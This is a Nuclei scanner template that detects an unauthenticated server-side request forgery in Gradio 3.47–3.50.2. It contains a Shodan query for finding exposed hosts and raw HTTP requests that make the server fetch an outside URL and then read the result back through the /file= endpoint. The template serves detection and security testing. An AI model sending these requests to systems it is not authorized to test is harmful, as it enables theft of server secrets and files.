nuclei-templates/http/vulnerabilities/gradio/gradio-ssrf.yaml

id: gradio-ssrf

info:
  name: Gradio 3.47 - 3.50.2 - Server-Side Request Forgery
  author: nvn1729
  severity: high
  description: |
    Gradio Full Read SSRF when auth is not enabled, this version should work for versions 3.47 - 3.50.2.
  reference:
    - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
    - https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    epss-percentile: 0.36659
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"__gradio_mode__"
  tags: cve,cve2024,unauth,gradio,ssrf

http:
  - raw:
      - |
        POST /component_server HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"component_id": "{{fuzz_component_id}}", "data": "http://oast.me", "fn_name": "download_temp_copy_if_needed", "session_hash": "aaaaaaaaaaa"}

      - |
        GET /file={{download_path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: download_path
        group: 1
        regex:
          - "\"?([^\"]+)"
        internal: true

    payloads:
      fuzz_component_id: helpers/wordlists/numbers.txt

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<h1> Interactsh Server </h1>"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210084254e5be884aa98296a738a4c7318f5fc3144cd7a242e19dfc57c3e7540a125022100db240aae793f3c25c826a49fe256d4109590d1fd40a2ad08de4d75925b3985f3:922c64590222798bb761d5b6d8e72950